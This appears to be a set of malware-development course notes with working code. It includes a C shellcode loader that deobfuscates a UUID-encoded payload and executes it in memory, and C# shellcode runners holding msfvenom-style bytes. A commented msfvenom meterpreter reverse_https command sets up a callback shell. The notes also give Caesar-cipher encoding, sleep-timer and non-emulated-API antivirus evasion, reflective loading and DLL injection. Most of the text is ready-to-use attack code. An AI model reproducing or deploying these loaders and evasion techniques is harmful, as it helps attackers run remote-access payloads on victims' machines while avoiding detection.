/*
API functions used to perform the injection part:
- VirtualAlloc: https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
- VirtualProtect: https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
- CreateThread: https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread
*/
// Example of continuation of .\Hellshell.exe .\payload.bin uuid
int main() {
PBYTE pDeobfuscatedPayload = NULL;
SIZE_T sDeobfuscatedSize = NULL;
// Prinitng some information
printf("[i] Injecting Shellcode The Local Process Of Pid: %d \n", GetCurrentProcessId());
printf("[#] Press <Enter> To Decrypt ... ");
getchar();
printf("[i] Decrypting ...");
/*
This is what we need to change depending on the encryption technique used.
Add this main function below the encryption technique used and change this acording to the specific decryption function.
Go to encryption section to locate the parameters needed for each one.
*/
if (!UuidDeobfuscation(UuidArray, NumberOfElements, &pDeobfuscatedPayload, &sDeobfuscatedSize)) {
return -1;
}
printf("[+] DONE !\n");
printf("[i] Deobfuscated Payload At : 0x%p Of Size : %d \n", pDeobfuscatedPayload, sDeobfuscatedSize);
printf("[#] Press <Enter> To Allocate ... ");
getchar();
// Allocating memory the size of sDeobfuscatedSize
// With memory permissions set to read and write so that we can write the payload later
PVOID pShellcodeAddress = VirtualAlloc(NULL, sDeobfuscatedSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);
printf("[#] Press <Enter> To Write Payload ... ");
getchar();
// Copying the payload to the allocated memory
memcpy(pShellcodeAddress, pDeobfuscatedPayload, sDeobfuscatedSize);
// Cleaning the pDeobfuscatedPayload buffer, since it is no longer needed
memset(pDeobfuscatedPayload, '\0', sDeobfuscatedSize);
DWORD dwOldProtection = NULL;
// Setting memory permissions at pShellcodeAddress to be executable
if (!VirtualProtect(pShellcodeAddress, sDeobfuscatedSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[#] Press <Enter> To Run ... ");
getchar();
// Running the shellcode as a new thread's entry
if (CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
return -1;
}
// Freeing pDeobfuscatedPayload
HeapFree(GetProcessHeap(), 0, pDeobfuscatedPayload);
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
C# Shellcode Runners
- Basic Shellcode Runner
! Before compiling this project, we must set the CPU architecture to x64 since we are using 64-bit shellcode. In VS, this is done through the CPU drop down menu > Configuration Manager > <New…> > accept the new platform as x64.
usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;usingSystem.Threading.Tasks;usingSystem.Diagnostics;usingSystem.Runtime.InteropServices;namespaceConsoleApp1{classProgram {/* The first step is to use DllImport to import the three Win32 APIs and configure the appropriateargument data types. */ [DllImport("kernel32.dll", SetLastError =true, ExactSpelling =true)]staticexternIntPtrVirtualAlloc(IntPtr lpAddress,uint dwSize,uint flAllocationType,uint flProtect); [DllImport("kernel32.dll")]staticexternIntPtrCreateThread(IntPtr lpThreadAttributes,uint dwStackSize,IntPtr lpStartAddress,IntPtr lpParameter,uint dwCreationFlags,IntPtr lpThreadId); [DllImport("kernel32.dll")]staticexternUInt32WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds);staticvoidMain(string[] args) {/* The first, buf, is our shellcode. Next is our size variable that stores the size of our buf variable, Weuse Marshal.Copy, but we don’t have to specify the .NET namespace of [System.Runtime.InteropServices.Marshal]. */byte[] buf =newbyte[630] //Here we copy the shellcode generated with other program like msfvenom {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, // ...0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };/* WaitForSingleObject API to let the shellcode finish execution. */int size =buf.Length;IntPtr addr = VirtualAlloc(IntPtr.Zero,0x1000,0x3000,0x40);Marshal.Copy(buf,0, addr, size);IntPtr hThread = CreateThread(IntPtr.Zero,0, addr,IntPtr.Zero,0,IntPtr.Zero); WaitForSingleObject(hThread,0xFFFFFFFF); } }}
- Make it available for Reflective Load
To create a managed DLL that can be available through reflection, for example, for Powershell Reflective Load, we need to copy the DllImport statements as-is and then create a runner method with the prefixes public, static, and void:
- Encrypting, Sleep Timers and Non-emulated APIs for the C# Shellcode Runner
To do a Caesar cipher encryption, first we create a C# application named Helper:
usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;namespaceHelper{classProgram {staticvoidMain(string[] args) { //msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.XX.XX LPORT=443 -f csharpbyte[] buf =newbyte[770] {};byte[] encoded =newbyte[buf.Length];for (int i =0; i <buf.Length; i++) {encoded[i] = (byte)(((uint)buf[i] +2) &0xff); }StringBuilder hex =newStringBuilder(encoded.Length*2);foreach (byte b in encoded) {hex.AppendFormat("0x{0:x2}, ", b); }Console.WriteLine("The payload is: "+hex.ToString());Console.WriteLine("Length was: "+buf.Length.ToString()); } }}
Then we create a C# app named Met and implement that encoded shellcode:
usingSystem;usingSystem.Diagnostics;usingSystem.Runtime.InteropServices;usingSystem.Net;usingSystem.Text;usingSystem.Threading;namespaceMet{classProgram { [DllImport("kernel32.dll", SetLastError =true, ExactSpelling =true)]staticexternIntPtrVirtualAlloc(IntPtr lpAddress,uint dwSize,uint flAllocationType,uint flProtect); [DllImport("kernel32.dll")]staticexternIntPtrCreateThread(IntPtr lpThreadAttributes,uint dwStackSize,IntPtr lpStartAddress,IntPtr lpParameter,uint dwCreationFlags,IntPtr lpThreadId); [DllImport("kernel32.dll")]staticexternUInt32WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds);/*VirtualAllocExNuma API. The “Numa” suffix (which refers to asystem design to optimize memory usage on multi-processor servers303) makes this a relativelyuncommon API. In essence, this API allocates memory just like VirtualAllocEx but it is optimized to be used with a specific CPU. Obviously, this type of optimization is not required on a standard single-CPUworkstation. Because of this, some antivirus vendors do not emulate VirtualAllocExNuma and, in this case, its execution by the AV emulator will not result in a successful memory allocation.We could also use Win32 FlsAlloc*/ [DllImport("kernel32.dll", SetLastError =true, ExactSpelling =true)]staticexternIntPtrVirtualAllocExNuma(IntPtr hProcess,IntPtr lpAddress,uint dwSize,UInt32 flAllocationType,UInt32 flProtect,UInt32 nndPreferred); [DllImport("kernel32.dll")]staticexternvoidSleep(uint dwMilliseconds); [DllImport("kernel32.dll")]staticexternIntPtrGetCurrentProcess();staticvoidMain(string[] args) { //Sleep timer bypassDateTime t1 =DateTime.Now; Sleep(2000);double t2 =DateTime.Now.Subtract(t1).TotalSeconds;if (t2 <1.5) {return; }Console.WriteLine("Sleep timer bypassed!"); //Non emulated api'sIntPtr mem = VirtualAllocExNuma(GetCurrentProcess(),IntPtr.Zero,0x1000,0x3000,0x4,0);if (mem ==null) {return; }Console.WriteLine("API Emulation done!");byte[] buf =newbyte[770] { };byte[] encoded =newbyte[buf.Length];for (int i =0; i <buf.Length; i++) {encoded[i] = (byte)(((uint)buf[i] -2) &0xFF); } buf = encoded;Console.WriteLine("Cipher decrypted!");int size =buf.Length;IntPtr addr = VirtualAlloc(IntPtr.Zero,0x1000,0x3000,0x40);Console.WriteLine("Allocation Complete!");Marshal.Copy(buf,0, addr, size);Console.WriteLine("Copy done!");IntPtr hThread = CreateThread(IntPtr.Zero,0, addr,IntPtr.Zero,0,IntPtr.Zero);Console.WriteLine("Thread Created"); WaitForSingleObject(hThread,0xFFFFFFFF);Console.WriteLine("Reached End"); } }}
- XOR Encoder
We can apply this to all the other c# payloads we are discussing, but we take the Shellcode Runner as an example.
Once we have encoded our shellcode with the previous XOR Encoder or with other tool (Shellcode Encoders), we can use the following C# code to decode it and add with the previous parameters, create a Shellcode Runner:
The reflection technique is used to resolve any Win32 API without using the Add-Type keyword
This completely avoids writing to the hard disk.
In review, we repeat the LookupFunc method that resolves the Win32 API. Then we create the DelegateType. Finally, we call GetDelegateForFunctionPointer to link the function address and the DelegateType.
Open Visual Studio, create a new project, set the programming language to C++, and select Dynamic-Link Library (DLL). This will create a DLL skeleton code that will be modified.
Remove precompiled headers.
- DLL to inject (C)
This is a message box, replace with the actual payload.
#include <Windows.h>
#include <stdio.h>
VOID MsgBoxPayload() {
MessageBoxA(NULL, "Hacking With MaldevAcademy", "Wow!", MB_OK | MB_ICONINFORMATION);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
switch (dwReason) {
case DLL_PROCESS_ATTACH: {
MsgBoxPayload();
break;
};
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
- Tool for locally injecting DLLs (C)
The code below will take the DLL's name as a command line argument, load it using LoadLibraryA , and perform some error checking to ensure the DLL loaded successfully.
#include <Windows.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("[!] Missing Argument; Dll Payload To Run\n");
return -1;
}
printf("[i] Injecting \"%s\" To The Local Process Of Pid: %d\n", argv[1], GetCurrentProcessId());
printf("[+] Loading Dll... ");
if (LoadLibraryA(argv[1]) == NULL) {
printf("[!] LoadLibraryA Failed With Error: %d\n", GetLastError());
return -1;
}
printf("[+] DONE!\n");
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}